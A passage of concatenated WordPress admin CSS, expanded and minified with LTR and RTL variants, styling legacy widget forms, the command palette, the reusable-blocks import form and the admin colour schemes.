  max-height:calc(100vh - 2px);
  overflow-y:scroll;
  padding:11px;
}
.wp-block-legacy-widget__edit-form:not([hidden]){
  display:flow-root;
}
.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title{
  color:#000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:14px;
  font-weight:600;
  margin:0 0 12px;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside{
  border:none;
  box-shadow:none;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p{
  margin:8px 0;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{
  font-size:13px;
  line-height:2.1;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{
  color:#000;
  font-family:system-ui;
  font-weight:400;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{
  background-color:initial;
  border:1px solid #757575;
  border-radius:3px;
  box-shadow:none;
  box-sizing:border-box;
  color:#000;
  display:block;
  font-family:system-ui;
  font-size:13px;
  font-weight:400;
  line-height:1;
  margin:0;
  min-height:30px;
  padding-bottom:8px;
  padding-right:8px;
  padding-top:8px;
  width:100%;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{
  padding-right:4px;
}
.wp-block-legacy-widget__edit-form .widget.open,.wp-block-legacy-widget__edit-form .widget.open:focus-within{
  z-index:0;
}

.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{
  color:#000;
}

.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-preview{
  cursor:pointer;
}
.wp-block-legacy-widget__edit-no-preview:hover:after,.wp-block-legacy-widget__edit-preview:hover:after{
  border:1px solid #949494;
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block-legacy-widget__edit-preview.is-offscreen{
  position:absolute;
  right:-9999px;
  top:0;
  width:100%;
}

.wp-block-legacy-widget__edit-preview-iframe{
  overflow:hidden;
  width:100%;
}

.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{
  background:#f0f0f0;
  padding:8px 12px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3{
  font-size:14px;
  font-weight:600;
  margin:4px 0;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{
  margin:4px 0;
}

.wp-block-legacy-widget-inspector-card{
  padding:0 52px 16px 16px;
}

.interface-complementary-area .wp-block-legacy-widget-inspector-card__name{
  font-weight:500;
  margin:0 0 5px;
}

.is-selected .wp-block-legacy-widget__container{
  min-height:50px;
  padding:8px 12px;
}

.components-popover__content .wp-block-legacy-widget__edit-form{
  min-width:400px;
}

.wp-block-widget-group.has-child-selected:after{
  border:1px solid var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-widget-group .widget-title{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:18px;
  font-weight:600;
}

.wp-block-widget-group__placeholder .block-editor-inserter{
  width:100%;
}

.is-dark-theme .wp-block-widget-group__placeholder .block-editor-button-block-appender{
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.commands-command-menu{
  border-radius:4px;
  margin:auto;
  max-width:420px;
  position:relative;
  top:calc(15% + 60px);
  width:calc(100% - 32px);
}
@media (min-width:600px){
  .commands-command-menu{
    top:15%;
  }
}
.commands-command-menu .components-modal__content{
  margin:0;
  padding:0;
}

.commands-command-menu__overlay{
  align-items:start;
  display:block;
}

.commands-command-menu__header{
  align-items:center;
  display:flex;
  padding-left:16px;
}
.commands-command-menu__header .components-button{
  border:1px solid #949494;
  border-radius:2px 0 0 2px;
  border-right:0;
  height:56px;
  justify-content:center;
  width:56px;
}
.commands-command-menu__header .components-button+[cmdk-input]{
  border-bottom-left-radius:0;
  border-top-left-radius:0;
}

.commands-command-menu__container{
  will-change:transform;
}
.commands-command-menu__container [cmdk-input]{
  border:none;
  border-radius:0;
  color:#1e1e1e;
  font-size:16px;
  line-height:28px;
  margin:0;
  outline:none;
  padding:16px 16px 16px 8px;
  width:100%;
}
.commands-command-menu__container [cmdk-input]::placeholder{
  color:#757575;
}
.commands-command-menu__container [cmdk-input]:focus{
  box-shadow:none;
  outline:none;
}
.commands-command-menu__container [cmdk-item]{
  align-items:center;
  border-radius:2px;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  font-size:13px;
  min-height:40px;
}
.commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{
  background:var(--wp-admin-theme-color);
  color:#fff;
}
.commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{
  fill:#fff;
}
.commands-command-menu__container [cmdk-item][aria-disabled=true]{
  color:#949494;
  cursor:not-allowed;
}
.commands-command-menu__container [cmdk-item] svg{
  fill:#1e1e1e;
}
.commands-command-menu__container [cmdk-item]>div{
  padding:8px 8px 8px 40px;
}
.commands-command-menu__container [cmdk-item]>.has-icon{
  padding-left:8px;
}
.commands-command-menu__container [cmdk-root]>[cmdk-list]{
  max-height:368px;
  overflow:auto;
}
.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){
  padding:0 8px 8px;
}
.commands-command-menu__container [cmdk-empty]{
  align-items:center;
  color:#1e1e1e;
  display:flex;
  justify-content:center;
  padding:8px 0 32px;
  white-space:pre-wrap;
}
.commands-command-menu__container [cmdk-loading]{
  padding:16px;
}
.commands-command-menu__container [cmdk-list-sizer]{
  position:relative;
}

.commands-command-menu__item span{
  display:inline-block;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.commands-command-menu__item mark{
  background:unset;
  color:inherit;
  font-weight:600;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.commands-command-menu{border-radius:4px;margin:auto;max-width:420px;position:relative;top:calc(15% + 60px);width:calc(100% - 32px)}@media (min-width:600px){.commands-command-menu{top:15%}}.commands-command-menu .components-modal__content{margin:0;padding:0}.commands-command-menu__overlay{align-items:start;display:block}.commands-command-menu__header{align-items:center;display:flex;padding-left:16px}.commands-command-menu__header .components-button{border:1px solid #949494;border-radius:2px 0 0 2px;border-right:0;height:56px;justify-content:center;width:56px}.commands-command-menu__header .components-button+[cmdk-input]{border-bottom-left-radius:0;border-top-left-radius:0}.commands-command-menu__container{will-change:transform}.commands-command-menu__container [cmdk-input]{border:none;border-radius:0;color:#1e1e1e;font-size:16px;line-height:28px;margin:0;outline:none;padding:16px 16px 16px 8px;width:100%}.commands-command-menu__container [cmdk-input]::placeholder{color:#757575}.commands-command-menu__container [cmdk-input]:focus{box-shadow:none;outline:none}.commands-command-menu__container [cmdk-item]{align-items:center;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;font-size:13px;min-height:40px}.commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{background:var(--wp-admin-theme-color);color:#fff}.commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{fill:#fff}.commands-command-menu__container [cmdk-item][aria-disabled=true]{color:#949494;cursor:not-allowed}.commands-command-menu__container [cmdk-item] svg{fill:#1e1e1e}.commands-command-menu__container [cmdk-item]>div{padding:8px 8px 8px 40px}.commands-command-menu__container [cmdk-item]>.has-icon{padding-left:8px}.commands-command-menu__container [cmdk-root]>[cmdk-list]{max-height:368px;overflow:auto}.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){padding:0 8px 8px}.commands-command-menu__container [cmdk-empty]{align-items:center;color:#1e1e1e;display:flex;justify-content:center;padding:8px 0 32px;white-space:pre-wrap}.commands-command-menu__container [cmdk-loading]{padding:16px}.commands-command-menu__container [cmdk-list-sizer]{position:relative}.commands-command-menu__item span{display:inline-block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.commands-command-menu__item mark{background:unset;color:inherit;font-weight:600}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.commands-command-menu{border-radius:4px;margin:auto;max-width:420px;position:relative;top:calc(15% + 60px);width:calc(100% - 32px)}@media (min-width:600px){.commands-command-menu{top:15%}}.commands-command-menu .components-modal__content{margin:0;padding:0}.commands-command-menu__overlay{align-items:start;display:block}.commands-command-menu__header{align-items:center;display:flex;padding-right:16px}.commands-command-menu__header .components-button{border:1px solid #949494;border-left:0;border-radius:0 2px 2px 0;height:56px;justify-content:center;width:56px}.commands-command-menu__header .components-button+[cmdk-input]{border-bottom-right-radius:0;border-top-right-radius:0}.commands-command-menu__container{will-change:transform}.commands-command-menu__container [cmdk-input]{border:none;border-radius:0;color:#1e1e1e;font-size:16px;line-height:28px;margin:0;outline:none;padding:16px 8px 16px 16px;width:100%}.commands-command-menu__container [cmdk-input]::placeholder{color:#757575}.commands-command-menu__container [cmdk-input]:focus{box-shadow:none;outline:none}.commands-command-menu__container [cmdk-item]{align-items:center;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;font-size:13px;min-height:40px}.commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{background:var(--wp-admin-theme-color);color:#fff}.commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{fill:#fff}.commands-command-menu__container [cmdk-item][aria-disabled=true]{color:#949494;cursor:not-allowed}.commands-command-menu__container [cmdk-item] svg{fill:#1e1e1e}.commands-command-menu__container [cmdk-item]>div{padding:8px 40px 8px 8px}.commands-command-menu__container [cmdk-item]>.has-icon{padding-right:8px}.commands-command-menu__container [cmdk-root]>[cmdk-list]{max-height:368px;overflow:auto}.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){padding:0 8px 8px}.commands-command-menu__container [cmdk-empty]{align-items:center;color:#1e1e1e;display:flex;justify-content:center;padding:8px 0 32px;white-space:pre-wrap}.commands-command-menu__container [cmdk-loading]{padding:16px}.commands-command-menu__container [cmdk-list-sizer]{position:relative}.commands-command-menu__item span{display:inline-block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.commands-command-menu__item mark{background:unset;color:inherit;font-weight:600}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.commands-command-menu{
  border-radius:4px;
  margin:auto;
  max-width:420px;
  position:relative;
  top:calc(15% + 60px);
  width:calc(100% - 32px);
}
@media (min-width:600px){
  .commands-command-menu{
    top:15%;
  }
}
.commands-command-menu .components-modal__content{
  margin:0;
  padding:0;
}

.commands-command-menu__overlay{
  align-items:start;
  display:block;
}

.commands-command-menu__header{
  align-items:center;
  display:flex;
  padding-right:16px;
}
.commands-command-menu__header .components-button{
  border:1px solid #949494;
  border-left:0;
  border-radius:0 2px 2px 0;
  height:56px;
  justify-content:center;
  width:56px;
}
.commands-command-menu__header .components-button+[cmdk-input]{
  border-bottom-right-radius:0;
  border-top-right-radius:0;
}

.commands-command-menu__container{
  will-change:transform;
}
.commands-command-menu__container [cmdk-input]{
  border:none;
  border-radius:0;
  color:#1e1e1e;
  font-size:16px;
  line-height:28px;
  margin:0;
  outline:none;
  padding:16px 8px 16px 16px;
  width:100%;
}
.commands-command-menu__container [cmdk-input]::placeholder{
  color:#757575;
}
.commands-command-menu__container [cmdk-input]:focus{
  box-shadow:none;
  outline:none;
}
.commands-command-menu__container [cmdk-item]{
  align-items:center;
  border-radius:2px;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  font-size:13px;
  min-height:40px;
}
.commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{
  background:var(--wp-admin-theme-color);
  color:#fff;
}
.commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{
  fill:#fff;
}
.commands-command-menu__container [cmdk-item][aria-disabled=true]{
  color:#949494;
  cursor:not-allowed;
}
.commands-command-menu__container [cmdk-item] svg{
  fill:#1e1e1e;
}
.commands-command-menu__container [cmdk-item]>div{
  padding:8px 40px 8px 8px;
}
.commands-command-menu__container [cmdk-item]>.has-icon{
  padding-right:8px;
}
.commands-command-menu__container [cmdk-root]>[cmdk-list]{
  max-height:368px;
  overflow:auto;
}
.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){
  padding:0 8px 8px;
}
.commands-command-menu__container [cmdk-empty]{
  align-items:center;
  color:#1e1e1e;
  display:flex;
  justify-content:center;
  padding:8px 0 32px;
  white-space:pre-wrap;
}
.commands-command-menu__container [cmdk-loading]{
  padding:16px;
}
.commands-command-menu__container [cmdk-list-sizer]{
  position:relative;
}

.commands-command-menu__item span{
  display:inline-block;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.commands-command-menu__item mark{
  background:unset;
  color:inherit;
  font-weight:600;
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.list-reusable-blocks-import-dropdown__content .components-popover__content{
  padding:10px;
}

.list-reusable-blocks-import-form__label{
  display:block;
  margin-bottom:10px;
}

.list-reusable-blocks-import-form__button{
  float:right;
  margin-bottom:10px;
  margin-top:10px;
}

.list-reusable-blocks-import-form .components-notice__content{
  margin:0;
}
.list-reusable-blocks-import-form .components-notice.is-dismissible{
  margin:5px 0;
  padding-right:0;
}

.list-reusable-blocks__container{
  align-items:center;
  display:inline-flex;
  position:relative;
  top:-3px;
}
.list-reusable-blocks__container .components-button{
  height:26px;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.list-reusable-blocks-import-dropdown__content .components-popover__content{padding:10px}.list-reusable-blocks-import-form__label{display:block;margin-bottom:10px}.list-reusable-blocks-import-form__button{float:right;margin-bottom:10px;margin-top:10px}.list-reusable-blocks-import-form .components-notice__content{margin:0}.list-reusable-blocks-import-form .components-notice.is-dismissible{margin:5px 0;padding-right:0}.list-reusable-blocks__container{align-items:center;display:inline-flex;position:relative;top:-3px}.list-reusable-blocks__container .components-button{height:26px}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.list-reusable-blocks-import-dropdown__content .components-popover__content{padding:10px}.list-reusable-blocks-import-form__label{display:block;margin-bottom:10px}.list-reusable-blocks-import-form__button{float:left;margin-bottom:10px;margin-top:10px}.list-reusable-blocks-import-form .components-notice__content{margin:0}.list-reusable-blocks-import-form .components-notice.is-dismissible{margin:5px 0;padding-left:0}.list-reusable-blocks__container{align-items:center;display:inline-flex;position:relative;top:-3px}.list-reusable-blocks__container .components-button{height:26px}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media 